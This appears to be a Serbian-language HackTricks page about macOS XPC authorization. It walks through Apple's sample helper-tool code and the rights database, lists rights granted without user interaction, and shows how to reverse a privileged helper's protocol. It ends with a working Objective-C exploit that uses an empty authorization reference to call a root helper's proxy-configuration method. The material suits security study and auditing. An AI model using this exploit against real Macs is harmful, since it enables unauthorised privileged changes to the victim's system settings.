macOS XPC Authorization

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

XPC Autorizacija

Apple takođe predlaže još jedan način za autentifikaciju da li povezani proces ima dozvole da pozove izloženu XPC metodu.

Kada aplikacija treba da izvrši akcije kao privilegovani korisnik, umesto pokretanja aplikacije kao privilegovani korisnik, obično instalira kao root HelperTool kao XPC servis koji može biti pozvan iz aplikacije da izvrši te akcije. Međutim, aplikacija koja poziva servis treba da ima dovoljno autorizacije.

ShouldAcceptNewConnection uvek YES

Primer se može pronaći u EvenBetterAuthorizationSample. U App/AppDelegate.m pokušava da se poveže sa HelperTool-om. A u HelperTool/HelperTool.m funkcija shouldAcceptNewConnection neće proveriti nijedan od prethodno navedenih zahteva. Uvek će vraćati YES:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

Za više informacija o tome kako pravilno konfigurisati ovu proveru:

pagemacOS XPC Connecting Process Check

Prava aplikacije

Međutim, dolazi do autorizacije kada se pozove metoda iz HelperTool-a.

Funkcija applicationDidFinishLaunching iz App/AppDelegate.m će kreirati praznu referencu za autorizaciju nakon što se aplikacija pokrene. Ovo bi uvek trebalo da radi. Zatim će pokušati dodati neka prava toj referenci za autorizaciju pozivajući setupAuthorizationRights:

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

Funkcija setupAuthorizationRights iz Common/Common.m će sačuvati u bazi autentifikacije /var/db/auth.db prava aplikacije. Primetite kako će dodati samo prava koja već nisu u bazi podataka:

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

Funkcija enumerateRightsUsingBlock se koristi za dobijanje dozvola aplikacija, koje su definisane u commandInfo:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

Ovo znači da će na kraju ovog procesa, dozvole navedene unutar commandInfo biti sačuvane u /var/db/auth.db. Primetite kako tamo možete pronaći za svaku metodu koja će zahtevati autentikaciju, ime dozvole i kCommandKeyAuthRightDefault. Ovaj poslednji ukazuje ko može dobiti ovu dozvolu.

Postoje različiti opsezi koji ukazuju ko može pristupiti dozvoli. Neki od njih su definisani u AuthorizationDB.h (možete pronaći sve njih ovde), ali ukratko:

ImeVrednostOpis

kAuthorizationRuleClassAllow

allow

Bilo ko

kAuthorizationRuleClassDeny

deny

Niko

kAuthorizationRuleIsAdmin

is-admin

Trenutni korisnik mora biti administrator (unutar admin grupe)

kAuthorizationRuleAuthenticateAsSessionUser

authenticate-session-owner

Zatraži od korisnika da se autentikuje.

kAuthorizationRuleAuthenticateAsAdmin

authenticate-admin

Zatraži od korisnika da se autentikuje. On mora biti administrator (unutar admin grupe)

kAuthorizationRightRule

rule

Navedi pravila

kAuthorizationComment

comment

Navedi dodatne komentare o dozvoli

Provera Dozvola

U HelperTool/HelperTool.m funkcija readLicenseKeyAuthorization proverava da li je pozivaoc ovlašćen da izvrši takvu metodu pozivajući funkciju checkAuthorization. Ova funkcija će proveriti da li authData poslat od strane pozivajućeg procesa ima ispravan format i zatim će proveriti šta je potrebno da se dobije dozvola za pozivanje određene metode. Ako sve prođe dobro, vraćena error vrednost će biti nil:

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

Imajte na umu da će funkcija authorizationRightForCommand samo proveriti prethodno komentarisani objekat commandInfo kako bi proverila zahteve za dobijanje prava da pozove tu metodu. Zatim će pozvati AuthorizationCopyRights da proveri da li ima prava da pozove funkciju (imajte na umu da zastave dozvoljavaju interakciju sa korisnikom).

U ovom slučaju, da bi se pozvala funkcija readLicenseKeyAuthorization, kCommandKeyAuthRightDefault je definisan kao @kAuthorizationRuleClassAllow. Dakle, svako može da je pozove.

Informacije o bazi podataka

Pomenuto je da su ove informacije smeštene u /var/db/auth.db. Možete izlistati sve sačuvane pravila sa:

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

Zatim, možete pročitati ko može pristupiti pravu pomoću:

security authorizationdb read com.apple.safaridriver.allow

Dozvoljena prava

Sve konfiguracije dozvola možete pronaći ovde, ali kombinacije koje ne zahtevaju korisničku interakciju su:

  1. 'authenticate-user': 'false'

  • Ovo je najdirektniji ključ. Ako je postavljen na false, specificira da korisnik ne mora pružiti autentikaciju da bi dobio ovo pravo.

  • Ovo se koristi u kombinaciji sa jednim od 2 ispod ili označavanjem grupe kojoj korisnik mora pripadati.

  1. 'allow-root': 'true'

  • Ako korisnik radi kao root korisnik (koji ima povišene dozvole), i ovaj ključ je postavljen na true, root korisnik potencijalno može dobiti ovo pravo bez dodatne autentikacije. Međutim, obično, dostizanje statusa root korisnika već zahteva autentikaciju, tako da ovo nije "bez autentikacije" scenarij za većinu korisnika.

  1. 'session-owner': 'true'

  • Ako je postavljen na true, vlasnik sesije (trenutno prijavljeni korisnik) automatski bi dobio ovo pravo. Ovo može zaobići dodatnu autentikaciju ako je korisnik već prijavljen.

  1. 'shared': 'true'

  • Ovaj ključ ne dodeljuje prava bez autentikacije. Umesto toga, ako je postavljen na true, to znači da jednom kada je pravo autentifikovano, može se deliti među više procesa bez potrebe da se svaki ponovo autentifikuje. Međutim, početno dodeljivanje prava i dalje zahteva autentikaciju osim ako nije kombinovano sa drugim ključevima poput 'authenticate-user': 'false'.

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Reverziranje autorizacije

Provera da li se koristi EvenBetterAuthorization

Ako pronađete funkciju: [HelperTool checkAuthorization:command:] verovatno je da proces koristi prethodno pomenutu šemu za autorizaciju:

Ako ova funkcija poziva funkcije poput AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree, koristi EvenBetterAuthorizationSample.

Proverite /var/db/auth.db da biste videli da li je moguće dobiti dozvole za pozivanje neke privilegovane radnje bez interakcije korisnika.

Komunikacija putem protokola

Zatim, trebate pronaći šemu protokola kako biste mogli uspostaviti komunikaciju sa XPC servisom.

Funkcija shouldAcceptNewConnection ukazuje na izvođenje protokola:

U ovom slučaju, imamo isto kao u EvenBetterAuthorizationSample, proverite ovu liniju.

Znajući ime korišćenog protokola, moguće je izbaciti definiciju njegovog zaglavlja sa:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

Na kraju, samo treba da znamo ime izložene Mach usluge kako bismo uspostavili komunikaciju sa njom. Postoji nekoliko načina da to otkrijemo:

  • U [HelperTool init()] gde možete videti Mach uslugu koja se koristi:

  • U launchd plist-u:

cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Primer eksploatacije

U ovom primeru je kreirano:

  • Definicija protokola sa funkcijama

  • Prazna autentifikacija za korišćenje zahteva za pristup

  • Povezivanje sa XPC servisom

  • Poziv funkcije ako je povezivanje bilo uspešno

// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated